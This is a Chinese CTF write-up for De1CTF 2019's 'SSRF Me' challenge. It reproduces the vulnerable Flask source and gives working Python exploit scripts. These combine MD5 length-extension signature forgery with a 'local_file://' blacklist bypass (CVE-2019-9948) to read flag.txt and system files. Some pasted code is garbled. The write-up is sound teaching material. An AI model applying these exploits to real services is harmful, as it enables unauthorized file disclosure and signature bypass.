[De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948

0x00

打开题目查看源代码，开始审计
这里贴上网上师傅的博客笔记：
https://xz.aliyun.com/t/6050

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sysi
mport os
import jsonreload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
    @app.route('/')
    def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

笔记：
因为python 的 flask 框架，源码有三个路由。所以重点分析三个路由：

// 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
    action = urllib.unquote(request.cookies.get("action"))
    // print(action)
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request
        .cookies.get("sign"))
    ip = request.remote_addr
    // 这里通过 http协议的header头Cookies: action=123;sign=ss
    // 还有URLPath的query: ?param=123
    // 去设置  class Task 初始化实例时 调用的实例
        if(waf(param)): // file protocol can be bypassed by use local-file:// (urllib cve)   
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) // follow it
    //     task = Task(action, param, sign, ip)
    // return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
        def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        print ip
   // 读下Exec,简化下逻辑
  // 首先self.checkSign() 第一重限制
  //     def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
  //     def getSign(action , param) 核心:
  //                         return hashlib.md5(secert_key + param + action).hexdigest()
    // 然后分析下代码:
  if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param) // here is vulunerability
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp // here,just print resp in server，dont't output user
                    tmpfile.write(resp) // save result to result.txt
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: // so we must run it to output result
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
  // 整理下整个题目的思路:
  // 两个限制的绕过
  // def waf(content) -----> local-file://
  // def checkSign(self) ---> md5扩展攻击

  // 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己    //  没写一些脚本去说明和简化这类型的通用解法
  //  https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
  // 趁着这次做题，补充下做题的工具做法

@app.route("/geneSign", methods=['GET', 'POST']) // get step1 
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 // secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
 // need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
 // secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
 // /geneSign?param=local-file:///etc/pwd 
 //  fe28521b6c224cad35396cacdb118890
 // secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)

由以上可知：

index 用于获取源码，geneSign 用于生成 md5，De1ta 就是挑战
我们解题思路：
大概思路就是在 /De1ta 中 get param ，cookie action sign 去读取 flag.txt，其中，param=flag.txt，action 中要含有 read 和 scan，且 sign=md5(secert_key + param + action)
细节部分：
①：
传入一个param，/geneSign路由会返回的一个sign
②：
通过cookie得到一个sign，到时候回传到exec()中去跟getSign()产生的sign校验，所以这里直接传一个getSign()产生的sign。通过cookie传入一个action参数，看后面的Exec()可以知道action="readscan"。根据提示param=flag.txt，所以这个sign应该是md5('xxxflag.txtreadscan')，但是action在geneSign()写死了为"action"。

0x01 一：通过scan方法直接读取flag.txt

分析三个路由源代码发现：

①：geneSign()获得param参数，通过action和param生成签名
②：challenge()获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象，通过json返回Exec()方法
③：index得到源码

在执行Exec方法的时候，
所以只要我们后面传入的param和路由/De1ta下传入的param一样，然后action也等于scan。并且将/geneSign路由下返回的sign一样，就可以了。看scan这个方法，就是访问param的网址，并将其内容的前50个字母返回回来。

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

还有几处关键代码：

def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

不妨假设 secert_key 是 xxx ，那么在开始访问 /geneSign?param=flag.txt 的时候，返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ，在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ，这就很有意思了。
直接构造访问 /geneSign?param=flag.txtread ，拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ，等价于 md5('xxxflag.txtreadscan') ，这就达到了目标。
注：
源码定义了action=scan.这在生成sign中是不可变的，又因为Exec方法中action必须有read和scan。所以定义为flag.txtread
所以我们构造flag.txtread。

直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=aa734dd335784913abfaf29426003613 即可

0x02：解法二：CVE-2019-9948

这种方法据说才是预期解，以后记得要善用CVE库orz。。。

https://cve.mitre.org/
开始看题：
这个一开始真想不到。。看网上wp,
考点：
local_file

看到waf再看到check.startswith匹配开头file，先去搜下cve。
CVE-2019-9948：

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9948

很明显有这个bug,我们跟进源码看看为啥。

然后简单看下urlopen方法

看到file 协议也是调用了封装的local_file协议

我们根据文件读取，可以读取/root/.history然后得到flag路径，就是local_file:///app/flag.txt

先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')
直接访问：
/geneSign?param=local_file:///app/flag.txt 
得到

e9362f489e46dcb3d85f1d214ffd59b7

构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')

其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗
开始使用hashpump来生成我们的cookie进行扩展攻击

Input Signature: 2e327c850387a7df079d9ea80f6843bc
Input Data:scan
Input Key Length: 42

这里着重讲一下这个key长度
他和我们input的内容直接联系
首先这种方法我们Input为 secretkey+local_file:///app/flag.txt
所以我们计算一下长度：
C:Usershp>python
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print len("local_file:///app/flag.txt") + 16
42

所以长度为42

Input Data to Add: read
生成：18399a4edb0a072123e22c3873b9ad93
scanx80x00x00x00x00x00x00x00x00x00px01x00x00x00x00x00x00read
使用脚本转换成urlencode:

str = r'scanx80x00x00x00x00x00x00x00x00x00px01x00x00x00x00x00x00read'
print str.replace(r'x','%')

结果：
scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read
在bp中
直接访问：
/geneSign?param=local_file:///app/flag.txt 
并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93
写个脚本：

import requests

url = 'http://web68.buuoj.cn/De1ta?param=flag.txt'

##将生成x转换成%
cookies = {
  'sign': '18399a4edb0a072123e22c3873b9ad93',
  'action':'scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read'
  }
res = requests.get(url=url, cookies=cookies)
print(res.text)

另一种计算keylength方法：

secert_key 是一个长度为 16 的字符串，在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值，为 8370bdba94bd5aaf7427b84b3f52d7cb，而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

2e327c850387a7df079d9ea80f6843bc
Input Signature: 2e327c850387a7df079d9ea80f6843bc

Input Data: scan
Input Key Length: 24【secert_key 是一个长度为 16 的字符串+flag.txt】
Input Data to Add: read
18399a4edb0a072123e22c3873b9ad93
scanx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xe0x00x00x00x00x00x00x00read

转换：
str=r'scanx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xe0x00x00x00x00x00x00x00read'
print str.replace(r'x','%')
生成：scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
直接访问：

/De1ta?param=flag.txt
并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93

exp：

import requests

url = 'http://60d99114-d326-40f2-be13-098d06ca8588.node3.buuoj.cn/De1ta?param=flag.txt'

cookies = {
  'sign': '18399a4edb0a072123e22c3873b9ad93',
  'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
  }

res = requests.get(url=url, cookies=cookies)
print(res.text)

0x03总结

关于 local_file :

​ 参考 : https://bugs.python.org/issue35907

​ 这里是使用的 urllib.urlopen(param) 去包含的文件，所以可以直接加上文件路径 flag.txt 或 ./flag.txt 去访问，也可以使用类似的 file:///app/flag.txt 去访问，但是 file 关键字在黑名单里，可以使用 local_file 代替
​ 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ，否则会报 ValueError: unknown url type: /path/to/file 的错误

注：
当不存在协议的时候，默认使用file协议读取。
可以使用local_file:绕过，例如 local_file:flag.txt路径就是相对脚本的路径 。
local_file://就必须使用绝对路径(协议一般都是这样)。
PS:local-file:///proc/self/cwd/flag.txt也可以读取，因为/proc/self/cwd/代表的是当前路径。
当然，这个题目不绕过协议也行
他默认就是
file协议
所以当我们需要绕过时
可以考虑local_file这种方法（第一种扩展攻击）
放个exp：

import requests
conn = requests.Session()

url = "http://139.180.128.86"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
    filename = "local_file:///app/flag.txt"
    a = []
    for i in range(1):
        sign = geneSign("{}read".format(filename.format(i)))
       resp = challenge("readscan",filename.format(i),sign)
      if("title" in resp):
          a.append(i)
     print resp,i
     print a

参考链接：

https://xz.aliyun.com/t/5927#toc-3

https://xz.aliyun.com/t/6050#toc-7